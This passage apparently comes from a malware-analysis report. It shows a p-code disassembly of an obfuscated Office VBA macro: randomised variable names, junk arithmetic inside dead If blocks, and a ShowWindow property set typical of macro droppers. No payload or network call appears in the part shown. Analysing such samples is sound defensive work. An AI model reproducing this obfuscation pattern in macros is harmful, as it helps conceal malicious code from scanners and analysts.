' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld uAZA4DGx 
' 	LitDI4 0x4E7C 0x1F5A 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld vAD_UwB1 
' 	Div 
' 	LitDI4 0xC43B 0x0B0C 
' 	Ld BkAADD_ 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld EQDBG_AA 
' 	Div 
' 	LitDI4 0xD373 0x0861 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xB1D6 0x1DD2 
' 	Mul 
' 	Ld PAAADQXC 
' 	LitDI4 0xB205 0x2B15 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St ZZxBB4xA 
' Line #57:
' 	EndIfBlock 
' Line #58:
' 	Ld UABAABw 
' 	Ld KCoADU 
' 	Eq 
' 	IfBlock 
' Line #59:
' 	LitDI4 0xCE3D 0x1462 
' 	Ld iXC4AA 
' 	Ld zZoDUDUQ 
' 	Mul 
' 	LitDI4 0x7A39 0x2478 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St AABxUAAA 
' Line #60:
' 	Ld YQAUkA14 
' 	Ld PCooUAAA 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld YZCUUc 
' 	LitDI4 0x5DAD 0x394C 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld dDDAAAZU 
' 	Div 
' 	LitDI4 0x3801 0x2E64 
' 	Ld lkXAA4C 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld tUACC_CB 
' 	Div 
' 	LitDI4 0x4631 0x21FC 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xA82F 0x2F0A 
' 	Mul 
' 	Ld GAUxQG 
' 	LitDI4 0x628F 0x0F69 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St voGUAxcD 
' Line #61:
' 	EndIfBlock 
' Line #62:
' 	Ld jXBBAX1 
' 	Ld WAwxwA 
' 	Eq 
' 	IfBlock 
' Line #63:
' 	LitDI4 0xDE6C 0x0DE2 
' 	Ld DcABAQA1 
' 	Ld QDAAxw_w 
' 	Mul 
' 	LitDI4 0x0B4C 0x017A 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St NAAUkBD 
' Line #64:
' 	Ld cACwUAAA 
' 	Ld DAcQDkXA 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld uDoQBoAX 
' 	LitDI4 0x6000 0x0C6F 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld Yk4AUADB 
' 	Div 
' 	LitDI4 0x03BC 0x0A4D 
' 	Ld Y1_ABX 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld FAccA_ 
' 	Div 
' 	LitDI4 0xFF69 0x3702 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xCDA9 0x0851 
' 	Mul 
' 	Ld iAD4AX1 
' 	LitDI4 0xDFED 0x1872 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St JUAk1A 
' Line #65:
' 	EndIfBlock 
' Line #66:
' 	Ld ShOwWiNdOw 
' 	Ld UDAU4_A 
' 	MemLd DwAo1A4Z 
' 	Add 
' 	Ld iCQAQB 
' 	Add 
' 	Ld EAUDXZ 
' 	MemSt hAAUAZAQ 
' Line #67:
' 	Ld wXUABA 
' 	Ld owwoBU 
' 	Eq 
' 	IfBlock 
' Line #68:
' 	LitDI4 0xE3CC 0x397F 
' 	Ld EA_UAk 
' 	Ld E_BADc 
' 	Mul 
' 	LitDI4 0xD1C5 0x07B2 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St hkAQwxA 
' Line #69:
' 	Ld lABQZUA 
' 	Ld DUQQkA 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld jAAcADA 
' 	LitDI4 0x95D6 0x0050 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld mQZAwD 
' 	Div 
' 	LitDI4 0x43C3 0x3778 
' 	Ld LoABAZA 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld ZDokXC 
' 	Div 
' 	LitDI4 0xE72D 0x11AE 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0x2717 0x311F 
' 	Mul 
' 	Ld pAGAA4DA 
' 	LitDI4 0x8AFB 0x0EF2 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St tcUA_A 
' Line #70:
' 	EndIfBlock 
' Line #71:
' 	Ld SQAUABAA 
' 	Ld lkAUXG 
' 	Eq 
' 	IfBlock 
' Line #72:
' 	LitDI4 0xF5EE 0x0F82 
' 	Ld jBcBcBA 
' 	Ld LAQAw4A 
' 	Mul 
' 	LitDI4 0x2FF2 0x1F76 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St BUcA4wAX 
' Line #73:
' 	Ld PwBXXAXA 
' 	Ld DA_A_c 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld dcUAUB 
' 	LitDI4 0xB9E2 0x1A97 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld WAQAckZ 
…

Open this report in the interactive analyzer, or submit your own file for analysis.